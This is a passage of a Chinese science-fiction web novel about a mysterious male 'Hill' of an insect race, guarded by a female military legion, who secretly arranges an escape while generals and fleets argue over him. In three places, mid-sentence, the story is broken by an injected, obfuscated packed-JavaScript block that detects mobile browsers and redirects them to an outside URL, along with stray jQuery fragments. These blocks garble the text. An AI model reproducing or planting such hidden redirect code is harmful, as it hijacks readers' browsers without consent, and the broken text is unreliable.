当时虫族撤退匆忙,完全遗忘了其他外星种对他们超级旺盛的好奇心。
外星种们正嘻嘻笑着拍照,势必要让这个消息传遍自己的朋友圈。
突然一声大怒——
“你不信?虫族第三军团的主军舰现在还在星海飘着呢。”
酒馆内的外星种,把手上的劣质酒水狠狠敲在案台上,八只眼睛来回地转。
有些无聊的外星种兴冲冲侧耳去听,七天前格雷厄姆星域的天突然变得奇怪,各种各样的猜测都有。
“我猜是虫族封锁了消息。”这位提供新观念的外星种,滴溜着眼睛压低声音,
“我之前不是有点着急么,想着能不能偷着出去,各个跃迁站守卫小队数量我数了好久,结果从今天早上开始,部分跃迁站的军雌被调走,像在转移军团力量中心。”
“是吗?”酒馆老板大嘴一笑,“但不行,这个消息不足以抵酒钱!”
周围一阵哄笑,外星种闻声逐渐暴躁。
这些充满主观意愿的消息,时刻都在发生,根本分不清到底是真的,还是酒鬼做了梦。
只有一个外星种,他默默念叨着这个消息。
.
“希尔阁下,您今天还是不能成功放出尾勾吗?”负责监测希尔身体数据的医疗官,按惯例提出最后一个问题,视线专注热忱,话落后,他的视线飘移了下。
心虚的很明显。
希尔警惕无比,其实在第一次无意识释放尾勾后,他就发现自己能自如地控制是否释放尾勾,就像是控制手指伸展,与身体本能无异。
但他绝不会再释放!
他起初并没有不能随意在雌虫面前释放尾勾的认知,空白的身体本能只会不可让雌虫随意触碰的躲避反应,然后后面太多雌虫的反应,都像是在重塑希尔的身体本能。
他顺理成章地借用正常雄虫应该有的设定,尾勾无法自如释放。
至于当时尾勾的战斗形态,军舰本身损毁严重,没有来得及摄入影像,第三军团的医疗部队,只能靠着个别的眼证,和旁虫的口证来进行研究。
希尔显露的出格部分太多,但现下雄虫保护协会和雄虫保护法庭在这方面严格管控,他们也做不到对一位肉眼可见的高等级雄虫阁下无礼。
即使对方血液中的信息素浓度依旧淡薄,但这都比不上尾勾的重磅证实!
希尔尽量让自己的语气温和,“不能,自从那天后,我的尾勾再也没有成功释放过,我非常建议你将这最后一个问题删掉。”
他微笑,“还有,我不会脱下衣服给医疗团队观察的!”
医疗官的脸色突然涨红,“谁!谁在阁下耳边说了怎么无礼的要求,非必要情况,哪怕是主星医疗团队,也不能在没有通过雄虫保护法庭的审检前,对您提出这种要求!”
看来曾经有认真考虑过流程,脱口而出的太过理所当然。
“是吗?”希尔只是很诧异地反问了一句,目光安静地与坐在他对面的医疗官对视。
医疗官羞愧低头。
好危险,希尔第一次产生这种感觉,第三军团过剩的保护欲姗姗来迟,却汹涌到想要侵占他呼吸的每一寸空气。
目前第三军团中,流动着不正常的病态感。
希尔哪里都不适应,终于他微笑,神态气韵这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136049|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一刻不像是在混乱星域捡到的三无雄虫,向后微靠的动作,尺度刚刚好,压迫与优雅同时刺激着医疗官雌虫的眼睛。
“我需要见艾格莱上将。”
.
第三军团会议室内,一场让人厌烦的对峙还在进行。
“艾格莱上将,我再一次代表雄虫保护协会警告你,你不能剥夺阁下的主观意愿,数次代表阁下拒绝我们的连线申请,我们需要确认他的身体状况与精神状态!”
视频另一边,莫姆的语气愤怒,却依旧保持着良好的涵养。
他身体微微上前,是标准施以压迫感的小动作。
艾格莱对此毫无感觉,左右退交叠翘起,被黑色手套包裹的右手搭在膝盖上,正很懒散地点着,他不需要任何叠加气势的小动作,只是简单坐在这里,就是法兰克黎百年来最出色的家主。
“莫姆主席,你说出这句话的时候,已经在罔顾阁下不愿见你们的意愿。”
莫姆脸色一沉。
艾格莱神色沉静,“您公务繁忙,怎么非盯着一个D级阁下与我争吵?”
“还有,我在这里质疑当年雄虫保护协会在接入战斗系统时的规范性,第三军团前段时间整体覆盖的高危示警,如今还在军团总部闪烁。”
至于是不是他们这边某位雌虫卡出的bug,并不需要深究,现在只需要咬死问题一定来自雄虫保护协会。
这是一个致命的质疑。
虫族内部都知道当年写入战斗系统的示警系统,是由雄虫保护协会一手包办,更何况现任雄虫保护协会首席主任确实心虚。
终于,莫姆退了一步,面上看不出什么变化,只提出最后一个要求。
“艾格莱上将,你在七天前的第三军团受袭报告上含糊其辞,我需要准确的事件经过!”
艾格莱眸子一动,深灰色的眼瞳尖锐竖起,他只凑近了光屏投影一点,莫姆的脸色就已经变了,
“受袭报告直线传至元首冕下手中,你擅自越权翻阅就算了,现在你是在命令我?”
自从看到上将的追求礼节后,已经痊愈的汉特,非常自觉地将希尔带到了会议室之前。
于是希尔与汉特同时听到了最后一句话。
所幸里面的对峙已经步入尾声,并不想再浪费精力的艾格莱,慢悠悠抛下一句,
“回到主星后,我会向你提出决斗的,就当是好久不见的见面礼。”
最后挂断前,只听对面声线绷紧,
“恭候艾格莱上将的决斗邀请!”
汉特礼貌敲门,微微躬腰,将希尔送入会议室,而他本人则自觉守在了会议室门外,虽然事实很对不起那位远在主星的首席主任,但是对于第三军团而言,上将与希尔阁下的谈话保密等级,大概要高于上将与莫姆首席的谈话保密等级。
希尔落坐会议桌另一端,隔着十几米的距离与这位雌虫上将对视,坐定后空荡的两边让他有一瞬的晃神,似乎在同样的位置,他应该看见坐满的虫族。
而他们的额头上,是与他相同的,没有任何触角外显。
希尔眸光微闪,伸手不着痕迹地按了下额穴,原先的打算最终只化成了一句话。
“艾格莱上将,我最近很无聊,我需要去格雷厄姆星域散散心,在我睁眼后第一个看到的环境中散心,那会让我的心情好很多。”
8. 相杀者相爱(8)
格雷厄姆星域的中心星球。
不同于酒馆所在的边缘星球的混乱,这里是属于高级玩家的销金窟。
今天这里最奢华——也是格雷厄姆星域最奢华的酒店,要迎来一批尊贵的客人,客人们预定了长达一周的酒店包场。
至于其他提前在这期间订房的客人们,也抱着根本无法拒绝的补偿金,以一种天降横财的暴富心理喜滋滋退了房。
酒店从得到消息开始,就开始整个大扫除,而等到蜿蜒车队列行而来,连庭院外的枝叶脉络上的灰尘,都被刷刷清扫干净,努力以柔软干净的姿态迎接特殊的客人们。
酒店经理是个类人种,残缺的种族特征并不显眼,他姿态经过特殊的礼仪训练,此时挺胸颔首,一眼看上去,竟有几分雄虫的影子,看向远处蔓延而来的车队,眼中隐隐露出几分热切。
在外星种颇多的阿伽尔星系,即使星系公认,虫族的基因注定了雌虫只会和雄虫彼此吸引,但不知何时流传出了一种言论。
在部分豢养类人种当宠物的极端雌虫中,会藏着高等级雌虫,能被他们看中并活下来,余生都不用在头疼星币的问题。
罗曼蒂克一样的爱情言论,基因吸引仿佛就此惨败。
然而那些前仆后继走上这条路的类人种们,在直面基因暴乱期雌虫们完全碾压性的基因等级时,精神崩溃仅仅发生在一瞬间。
很多高智慧种族完全不能理解这种幻想,竟然会想要靠一种虚幻的东西,去驯服这个星系最危险的物种,这甚至还不如雄虫那脆弱的精神力靠谱。
至少精神力还能够被仪器检测到!
努力展露完美仪态的酒店经理,要仰头才能与下车的雌虫们对视。
军雌们统一的黑色着装冰冷悍然,军靴从车上落地时,碰撞出一声清晰的响声,他们利落列队,肩膀交错人影流动,却在瞬息找到了自己的站位。
而后触角绷直顶部微微下弯,瞳孔在普通形态与第二形态交错的中间地段,要竖不竖地停住。
如果说这种高戒备状态要上战场,也没有任何外星种会怀疑,可他们又没有穿上战斗装备,甚至在中心那辆车传来动静时,眸光集体默契地向左一移。
酒店经理一时踌躇不定,有些怀疑自己这个时候上前,可能会被这群正处于高敏感状态的军雌们,一爪子直接掏出心肺来。
正心道这次难道是第三军团长艾格莱上将亲至吗?
最中心的车门位置终于有了动静,黑发类人种直接从微微浮空的车上跃下,脚下长靴包至小腿,落地时几乎没有发出声音。
他的动作非常稳,站定时只有垂伸至腹前的荷叶边轻轻晃了下,复古制的白绸衬衣被腰封束缚,两排金属纽扣拉伸出惊人的腿型,黑裤勾着轮廓,给人极强的视觉冲击力。
黑发类人种身后跟下一名军雌,手上拿着前短后长的披风似乎要给对方披上,却被一个抬手挡住了。
繁复优雅的叠穿被抛弃,一眼看去,被黑色围在中间的这个黑发类人种,身上是唯一的白色,优雅又无害,像是被猎食者包裹的柔软生物。
酒店经理有些眼力见,他在恍神中认出,这是虫族中,与礼服功能相似的一种服装,撑不起它的穿上去显得可笑,撑得起的永远没有新上限。
这……是一个雄虫。
黑发雄虫挡住了半制披风,一边大步向前,一边垂首揪住胸口繁复的褶皱,看上去很想直接扯下这多余的赘饰。
当他从中心位置走到领头位置时,之前可笑的错觉瞬间崩塌,肃杀冰冷的军雌们沦为了背景军队,从被包围的猎物变成了唯一的指领者。
太奇怪了,比起备受保护的位置,这个雄虫看起更习惯走在最前面的位置。
酒店经理与这位雄虫对上视线时,下意识咽了咽口水,有些狼狈地收起了那些曾经出现过的小心思,他第一次见到一位活着出现在眼前的雄虫。
如果说十五年前,雄虫分散在各个军团辖域之内,虫族主星收拢保护高等级雄虫却并不强求,那个时候还能看见中低等级的雄虫出现在主星之外,那这十五年来,强制性收拢保护每一位雄虫的虫族主星,让外星种再见到雄虫的可能低降到了一个不可能的概率。
不知道虫族的其他雄虫是什么模样,但酒店经理对标眼前这位雄虫,只会觉得那个言论有多可笑。
“阁下,您请往这边走。”酒店经理低头,不敢再看,恭敬侧身要将他们迎入庭院。
希尔在踏入这个酒店的瞬间,眼睛有些痛,连带着正不爽眼下这身装扮的心情,都因此卡了一下。
被植物填充的庭院,还能称得上一句追求自然,但酒店绵延的主体建筑,炫富意味极为粗暴。
坚定地走着赛博朋克的五光十色风格,墙体内镶嵌的各种流光矿石,致力于吸引每一位客人的目光。
有种被低级审美爆揍了一顿的感觉。
希尔脚步越走越慢,突然刷地一个转身,对上身后无数双瞬间警惕起来的竖瞳。
这些军雌看起来下一秒,就要冲上来将希尔保护在中心,当然他们一直都很想让希尔阁下处在一个绝对安全的中心位置,但希尔阁下不喜欢这样的站位。
汉特连忙出声:“阁下,有什么地方不对劲的吗?”
“你们真的不是……把我卖到了奇怪的地方?”希尔怀疑地看了一眼他,不忍看身后伤害眼睛的光效,这种风格实在太像。
汉特抬头又低头,神色有那么瞬间的扭曲,却还是努力微笑,
“因为在主星舰队抵达之前,我们需要严格保证您的安全,所以我们选择的时候安全评级的优先级最高,这个酒店的安保等级勉强合格,对、它当然是个酒店。”
最后一句补得手忙脚乱。
希尔已经完全忘记了自己之前的不爽,束边的衣袖默默抬起,他伸手挡住眼睛,最后只对汉特道:“你应该知道我当时的要求是边缘星球,我夜间可以入住这里,但是白天的时候我需要离开,在睁眼后看到的地方,也许我会想起一些记忆。”
他需要确定这件事,“你应该是知道的吧?”
汉特:“当然!这点上将已经嘱咐过我。”
“但有一件事要告诉你。”希尔抬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136050|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
首,视线掠过那些跟在他与汉特身后的军雌们,“我希望到时候,我的身边只有个位数的护卫,并且不允许出现在我的面前,也许你今天你就可以挑选最强的雌虫了。”
那些沉默冰冷的军雌们,悄无声息竖起了额前的小触角,视线终于分了一秒,落在了汉特的身上。
承担着选拔重担的汉特,面对希尔阁下的委托,神情郑重内心悲壮,“我会做到的,阁下!”
这一个晚上都不会平静了,这些雌虫会打疯了的,他作为选拔官,要承担落选雌虫们的连带敌意!
汉特心情再次悲壮一分。
.
虫族主星在得知格雷厄姆星域上空受不明物种袭击后,前来迎接雄虫阁下的舰队规模再次增加,雄虫保护协会凋令下的第二批舰队即将出发时,一直冷眼旁观的虫族元首,终于出手按下了这次的越格。
元首冕下单方面告知首席主任莫姆,如果这次不能拿出格制逾矩的申请证明,他将不会同意这次的调令,第一次迎接舰队的规模,已经足够达成支援规模。
如果不能拿出足够的证明申请,雄虫保护协会无权再次调动规格之外的舰队数量。
“元首冕下并不介意在这个时候,与我们就这件事召开一次线上临时议会裁夺,到时候一旦支持率过半,我们这次的擅自逾矩,将会直接受到部分剥权与限制。”
莫姆端坐在老师的对面,良好的仪态却始终比不上帕尔德随意透出的气度。
这位即将步入老年期的上任首席,正端着热雾缭绕的茶水,脸上的神情全部被模糊掉,他叹气,“真是后生可畏,我拿捏好了尺度,谁知对方也在磨着爪子平静的等,偏偏来了个意外,从当年开始,就好像虫神都在帮他。”
临时议会最后甚至可以不出结果,但只要那位发起,这中间耗费的精力,都足够让雄虫保护协会内部忙很长一段时间。
“但这一次,虫神站在了我的身边。”
帕尔德微微笑了下,眼角堆出松垮的轻褶皱。
莫姆迟疑:“所以?”
“将我们当时写入战斗系统中的系统示警,运行规则没有任何隐瞒地上呈,作为证明材料的话,没有什么比这个更完美。”
帕尔德温和地笑,“毕竟这可是一位遗漏在外的,高等级阁下。”
不需要得到雄虫身份百分百确认,只要在检测到那一条程序的运行规则是真的,雄虫保护协会就没有任何问题。
莫姆点头,他罕见地没有立刻去做什么来逃离自己的这位老师,而是在得到准确指令后,突然出声问:“老师,你当年只写入了这一条潜在的运行规则吗?”
“当然。”帕尔德尾音诧异上扬,似乎在疑惑莫姆为何这样问。
.
很快,虫族主星的第二批迎接舰队成功出发,并且以更快地速度追赶第一批迎接舰队,当他们汇合时,第二批舰队将会完全成为第一批舰队的武装舰队。
这浩大架势,说虫族要去征伐一个新生命种族都不会得到丝毫怀疑。
但这只是为了迎接一位阁下,回归主星而已。
9.相杀者相爱(9)
.
“老大,我这样做会死的!”
“不这样做,你马上就会死——而且会死的很惨。”
.
格雷厄姆星域,中心星球。
汉特连带他在内的九位护卫雌虫,水灵灵地往希尔面前一站,数目完美地卡在了希尔要求上的极限。
站在中间的汉特向前迈出一步,“阁下,按照您的要求已经挑选完毕,如果您要外出,我们将会负责守卫您。”
“请您检阅!”
希尔正双腿大开,后脑平放在沙发顶端,闻声终于脱离咸鱼状态,抬头时顺手将碎发向后捊去,凌厉懒散的眉眼看起来无精打采。
“看起来不错。”希尔单手支着下颚,为眼前雌虫们漂亮的军姿赞了一声,“我有个问题,如果在这期间我被伤害劫走,你们要承担什么责任?”
听起来像是在顾虑他们的保护是否会尽心,汉特连忙出声,“请阁下放心,一旦您因为我们保护失利而出现危险,我们将会被停职检查,直接押送至主星。”
闻言希尔颔首,手指在空中转了个圈,最后说:“选出的雌虫有点多,不过他们都是经过了拼杀选拔,汉特你带着成绩末端的那位暂留酒店,我只需要七位。”
选拔成绩排在最后的那位雌虫,整个被飘来的乌云笼罩,发散开的昂扬精神,缩成了个恹恹的茄子。
汉特一愣,急忙说:“按照实力成绩来的话,我无论如何都是第一,上将让我必须要留在您身边保护您!”
“没关系没关系。”希尔站起身,左右拉了下手臂,“我今天不会跑到边缘星球去,我准备就在中心星球逛逛,你不用太紧张。”
没有雌虫能忤逆雄虫阁下的兴致。
最终汉特败下阵来。
.
当希尔走入中心星球的商场中心,跟在他身后的七位幸运儿,像水一样融入了往来的客流量中。
这些雌虫身处食物链等级的顶端,平日对于其他外星种有着天然的震慑,但当他们将自身伪装素养发挥极致,再加上多层伪装设备的配合,连触角都睡入发丝被隐藏,融入客流量时,外星种丝毫没有发现不对劲。
——“哇哦~”
希尔走进去的时候,明显听到了一阵小小的吃笑,他忍不住就是一步后退。
今天这一身已经是他衣柜里面最简洁的款式,但是他个头修长,从流动的电梯上缓缓上移的时候,前后左右要上去和下去的外星种们,就像是每一个无聊的客人,没事干的时候眼睛就有了自己的思想。
他们随着希尔的位置而移动目光,完美人形进化体对外星种的致命吸引,此时成了希尔头顶上最亮的一顶光环。
希尔深深深深叹了口气,他扭头看向商场外间流动的透明玻璃,在其中找到了自己的倒影,确认自己的头顶上真的没有顶着奇怪的东西。
突地,希尔微微眯眸,而后唇角不易察觉地勾了下,心情瞬间好转几分。
倒印在流动玻璃上的影子中,希尔看到了几个熟悉的影子,现在太多人看向希尔,这几个家伙显在其中并不醒目。
希尔没有回头,那些家伙似乎慢一拍反应过来,包裹商场的流动玻璃可以成为传递讯号的媒介。
在看到某个家伙像是无意识摆出了奇怪的手势造型后,希尔摸着下巴心想,他这死马当活马用的,还真找到靠谱的了?
他差点都要做好放到那群雌虫,直接在最弱的防御点,武力突破的最坏可能了。
“嗯,虫神庇佑,我……”
希尔喃喃笑意微妙一滞,指尖揉了下额穴不再作声。
严密站在希尔每个角落的军雌们,只看到希尔阁下停在商场总图标指南前观望了一会,迈步走向了美食区,最后一边嚼着软团子,一边踏上了直行电梯,而不是层与层之间的流动电梯。
有三名军雌眼疾手快跟了进去,其余四名军雌只好等待同伴的后续楼层通知。
希尔背靠在电梯扶杆上,长腿无处安放,懒懒地靠了一会,突然将手里端着的零食,往离他最近的军雌面前一放,“吃吗?”
正警惕着的军雌险些被保护目标吓得跳起,连忙摆手,“不不不。”
希尔就像是一个陌生路人,遗憾地叹了口气,收回了自己一时突然给出的慷慨。
在二十七层停下时,希尔下了。
身后三名军雌,跟在其他的客流量中,默默无声地向希尔追去。
等到其余八位雌虫,险些在商场狭窄的走廊撞成一团,出发前被汉特安排的队长才感觉不行,他在频道内说:“不要全都追在阁下身后,分出三队,一队就近、二队观察环境、三队警惕。”
队长雌虫抬头看了一眼希尔阁下进入的地方,是一家服装店,似乎是格雷厄姆星域内的特色牌子。
这家服装店都是透明玻璃,能间里面发生的事情看得清楚,但是队长雌虫还是挥了挥手,很快一名雌虫就装作客人进去。
这名装作客人模样的雌虫,在得到命令后,脚下的步子都轻快了些。
等到希尔阁下右手提起一套完整的上下衣服后,一直关注着的雌虫下意识提起手边的一套,直到希尔阁下走入换衣间,这名雌虫的脸色瞬间爆红,终于反应过来自己做了一件什么蠢事。
他根本不可能和希尔阁下进入同一间换衣间,最后只能挑挑拣拣,装模装样地看起了衣服,这时身后传来亲切的话语,
“这位客人,您需要我给出更多搭配的建议吗?”
一直摇曳靠在柜台那边的收银员,吐出嘴巴里的零食碎,脚下游动的水母触须透明,走到雌虫的身边时,柔软的触须已经同时举起了多件搭配好的成套着装,绚丽冲击的颜色险些亮瞎虫族极简暴力的审美风格。
雌虫抹了把脸,“你有毒吗?”
一句非常朴素的询问,收银员笑嘻嘻晃了晃左右又细又软的水母触须,“客人不用担心,我的毒超级淡啦,顶多让你感到困而打个哈欠,绝对做不了其他的事情,而且只会打一个哈欠!”
收音员说完之后,看到了雌虫手中拿着的衣服,“原来你和刚才那位客人喜欢一样的风格,说起来你们身型外貌相似,但是气质不太一样,搭配衣服很有讲究的,一点点差异都会导致效果截然相反。”
“客人手上这套可能不太适合你呢!”
雌虫僵硬着脸,被念的有些头晕,低头一看,手上猛地一烫,整个虫冒着热气把衣服囫囵挂了回去。
他竟然不知不觉,拿起了希尔阁下刚才选中的同款。
如果不是触角使用伪装设备隐藏,雌虫真的怀疑它现在是不是已经精神地立了起来,“不用了,我就随便看看。”
收银员顿时一副心领神会的样子,看来是追着刚才那位,被吸引进来的。
那位看上去确实完美,只是不知道到底是完美内置所有种族特征的高等级进化种,还是得使用伪装设备进行二次隐藏的普通类人种。
不过,即使是二次隐藏,那位也已经塑造得相当完美。
临时充当搭配师的收银员笑:“我懂~”
雌虫脸色爆红!
而换衣间内,希尔随手抖了抖手上的上下装。
这间店虽然开在商场里,但这边角旮旯位置实在灰土土,大包小包的换季衣服在店内简单收成包堆着,连换衣间的边角也堆了不少被换试过后,却没有立刻收拾的衣服。
其实很多高端服装店配备虚拟穿衣镜,顾客们拎着选好的衣服往前一站,虚拟投屏会自动根据顾客的身体参数,展现出全方位穿上这件衣服的肉眼效果。
如果只是让顾客简单站在穿衣镜前看看试穿效果,实在是有些亏本,因此大部分都是开放私人订制的高端服装店会配备。
像是这家,自然没有。
希尔正随手解开领扣,眼睛左右动了动,正有些好奇那些家伙会从哪里冒出头来,裤腿被扯了扯。
突然有种叹气的冲动,希尔低头,对上一个、两个、三个叠罗汉一样叠在一起的小矮人,从堆在角落的换试旧衣里只扒拉出一个脑袋,头一个压一个,一起殷勤地看着他。
从上到下的脑门上,依次贴着——
“老大”
“别说话”
“雌虫耳朵尖”
希尔垂眸认真看了会,没忍住遮脸笑了下,他低头依次撕下这三张,单手将最上面的小矮人给拎起来。
好新鲜的种族天赋,竟然可以将自己拆分成三个生命体,缩小化的同时,也有了三次逃跑的机会。
虽然这幅模样,极有可能直接被敌人串成一个糖葫芦。
希尔没有与他们进行繁琐的书面沟通,直接打开星脑的打字功能,浮空对话。
“找到偷渡的跃迁通道了吗?”
“找到了老大!”
“星盗中找到了几个可以信任的人?”
“按照老大的那套筛选标准,才五个。”
“小型飞船?”
“准备好了老大!”
“很好,之后我就会找理由去一趟边缘星球,下面我说的话你全部要记住,一个字都不能忘——”
希尔开启的是单手打字模式,手指在虚拟按键上跳动时,敲击出一阵听不见的铿锵声,愉悦悠扬,即将响彻整个虫族。
.
艾格莱挂断了来自主星的通讯,顺手接通了属于汉特的工作通讯,他最近忙的有些顾此失彼,此时终于稳定了第三军团现下状况,才算是想起那位等于一切麻烦源头的雄虫阁下。
对面汉特正捡重要的先说,“以上,就是希尔阁下最近的出行要求。”
艾格莱只觉得头痛,垂首扶额半遮住眼睛,冷灰木发丝散漫垂下,隐隐透着一点暴躁气息,“你是蠢货吗?真把希尔阁下当成你的上司了,不知对待雄虫的所有话可以哄着接,不需要真的听吗?”
汉特一呆,对啊。
“等到下次希尔阁下出行,你维持明面上的七名护卫,暗地里能选多少选多少,主星那边现在就盯着第三军团,不要在这方面给我出差错。”
汉特迟疑了下,“如果被阁下发现……”
艾格莱抬头,目光危险,“如果希尔阁下能发现,那你和整个第三军团的潜伏训练成绩全部不合格,我要考虑为你们重新制定训练计划,你说呢?”
汉特当场站行了个标准的军礼。
上将微笑,指尖微点桌面,“汉特,不要碰上雄虫脑子就像没出生过,你最近太松懈了。”
危险!
汉特艰难扒出一根稻草,试图说服上将,“可是之前,阁下用尾勾将您从异兽袭击下救了出来,他的瞬间反应很快。”
闻言,艾格莱神色微妙顿了下,他下意识换了个坐姿,很快双腿直接翘在了会议桌面上,推着他的身体向后退了些距离,他仰头看向顶部炽灯,语气古怪,“等一下,我好像忘记了什么事情。”
雄虫的精神力研究几百年来,科学院和研究所那边一直没有出结果,当时那头异兽第一步攻击显然是精神层面,在当时身体迟钝的时候,雄虫特殊的精神力和尾勾的战斗形态一并出现,艾格莱当时察觉有异,这一点并没有写入袭击报告之中。
虫族偶尔在星海战场,被奇怪陌生的外星种秃噜一口也不是什么没发生的事,但——
艾格莱想起来了。
当时在酒馆,那名伤到雄虫阁下的雌虫即将下跪的瞬间,被希尔一脚上踢向后趔趄时,在雌虫身体本能要借力反转稳住身体之前,雄虫的手先一步提住雌虫,稳住了雌虫的身体。
战斗形态下的尾勾反应速度如何,艾格莱不了解无法判定,但是普通形态下的雄虫,与他手底下的士兵雌虫相比,中间有多少差距,艾格莱心知肚明。
在汉特眼中仅是片刻,那边抬手让他先闭嘴要想事情的上将,已经一个长腿一挥,整个站起身,双手撑在桌面上,视线透过虚拟投屏凉凉看向自己,
“暗地里的护卫继续选,不过告诉他们拿出最好的状态,如果希尔阁下要去边缘星球,就暂时拖上一段时间,因为一天后主星的第一批舰队会抵达,两天后第二批舰队抵达。”
“转告希尔阁下,我们希望他去边缘星球的时间是散心的最后一个地点,之后我会和舰队指挥,为保证阁下安全,需要将阁下接回第三军团主舰。”
虽然不知道当时雄虫的反应,时不时因为被惊吓过后导致的阴差阳错,但艾格莱不会放过战局中瞬息闪过的微妙感。
嗯,战局,对待雄虫真是比战争还麻烦。
艾格莱面色冰冷,额头的触角轻轻晃了下。
最后对着汉特道:“以上,不要出错。”
汉特当即:“收到!”
当通讯断掉之后,汉特脸色绷紧,开始思考一个严肃的问题,如果阁下明天一定要前去边缘星球的话,他到底该用什么态度
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137601|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坚决又委婉地拒绝。
这会不会导致阁下伤心,雄虫一般都很敏感,万一产生精神力的负面因子该怎么办?
这边汉特忧心忡忡,悠闲逛完街回来的希尔,心情不错地对他看到的每个雌虫都打了一声招呼,却没有提一句什么时候出发去边缘星球的事情。
直到第二天出门,希尔歪头,流转的矿石光芒流淌过眉梢眼尾,最深的光影流进了瞳孔中心,跳跃着晃动着,危险又绚烂,他只用余光漫不经心瞥了眼身后,很轻地叹了声气音,什么都没说径直出门了。
汉特当时正转身查看安排在暗地里的护卫雌虫,并没有注意阁下这仅停留刹那的微动作。
毕竟哪怕动态视力再好,他现在也不是能调转视力360度无死角的虫化体。
.
七天过了四天,而在格雷厄姆星域上空,虫族主星的两支舰队也在昨天抵达,今天正式与第三军团主舰接航,也是这天早上,希尔提出要去格雷厄姆边缘星域的念头。
汉特双手背在身后疯狂给上将发讯息,一边面带微笑再三确定,“阁下您今日就要去吗,还有三天左右,您也知道,边缘星球是最后一站,我们去过之后,主星那边的舰队来使就要正式将您迎接入主星。”
希尔伸手挡住阳光,愉悦道:“今天天气很好,散心旅程结束在这一天,我并不会觉得遗憾,相信这会是美好的一天。”
“走吧汉特,就今天。”
汉特坚持住了脸上的笑,“好的阁下,您稍等片刻。”
转身就一步疾走,一边疯狂戳着星脑,低头的时候,脸上的细汗根本藏不住。
希尔摸着下巴看了眼,摇头笑了下。
.
另一边艾格莱低头整理着手套,手指绷紧又张开,带着卷弧的发丝有一缕从军帽的压制中跳出,被他懒懒散散地吹到了一边,低垂的眼睫很密,黑色被阴影压衬出危险韵味。
会议室中另一名临时上岗的军雌充当着上将的随从副官,在一众虎视眈眈的主星雌虫面前,努力背诵着昨夜通宵记下的欢迎稿。
艾格莱丝毫没给自家军团虫面子的意思,带着黑色手套的手挡住脸,懒洋洋打了个哈欠。
临时副官面色镇定,继续他的激情演讲。
终于为首的第一舰队指挥脸色青黑,一拍会议桌,“艾格莱上将,谁要坐在这里听这些废话,我问你阁下呢?!”
艾格莱诧异:“这么急躁干什么,按照你们主星的流程,这才走了个开头,我都坐在这里陪你们一起听了,别太不识好歹了。”
“再说,是你们口口声声雄虫阁下向来脆弱无比,前几天阁下在这里带着郁闷,说要下去散散心,我派了汉特仔细陪着,现在应该在格雷厄姆星域玩得正开心,你们反正也不能立刻见到,我们还是把流程走完吧。”
艾格莱慢悠悠从后向前挥了下手,“继续。”
得到指令的临时副官,立刻接上被打断的那句话,“——指导,我们第三军团非常荣幸,能够在茫茫宇宙中救助到一位脆弱的雄虫阁下……”
无数双气急败坏的眼睛扫射下,艾格莱对着全程要记下过程的那位携带拍摄装备的雌虫勾了勾手指,对方犹豫地看了眼舰队所在的雌虫们,还是小跑着从对角位置跑了过来。
艾格莱伸手一指临时副官,“拍到他了吗?”
负责记录的雌虫:“嗯嗯,上将能拍到。”
艾格莱说:“很好,后面哪怕记住,哪怕拍不到他的脸,也要把他的话给我拍清楚了,这是整个第三军团的态度。”
对方面露尴尬:“好的上将。”
这简直是当着所有人的面在预谋,第二舰队副指挥冷笑一声,“艾格莱上将准备将这些东西给谁看,你以为现在表达这种态度,阁下们对于第三军团的态度就会好转吗?别做梦了,哪怕是这位被你们救下的阁下,在了解了当年的事情后,也不会再被你们哄骗。”
“你们第三军团百年内别想靠真心求到一位阁下,这辈子就抱着信息素凝露死吧。”
艾格莱眼神整个凉下去,他嗤笑一声,“你想死在格雷厄姆星域吗?”
“第三军团完全可以将阁下护送至主星,发挥不了任何作用的废物,死在这里也只能怪那只来历不明的异兽。”
“有本事你就试试,嘴上说算什么——!!”
——轰!咔!(骨裂声)擦!(桌子断成两截声)
之前贴脸开大的第二舰队副指挥,现在半个身子扎进残渣中,背后警惕放出的鳞翅扑棱着,挥动着最后一点倔强的弧度,似乎还剩了一口气,只是不知后续来不来得及。
艾格莱甚至没有动手,左脚冷漠无情地又重重踩了下,又是一声扭曲的咯吱声,“我现在试了,你还要说什么。”
他说完,甚至没有扯下代表尊重对手的右手套,而是起身丢下了左手套,黑色手套孤零零盖住了第二舰队副指挥后脑上的脚印。
背景正传来临时副官慷慨激昂地朗诵,
——“最后,谨代表第三军团热烈欢迎主星迎接礼舰的到来!”
华丽谢幕,临时副官鞠躬,负责拍下并记录这次全部流程的那名雌虫,站在角落扶着墙面战战兢兢缩成一团,他可不是武斗派的雌虫,这群家伙连流血的事情都能用决斗两个字轻飘飘盖过,就不能追求进化的终端文明一点吗?
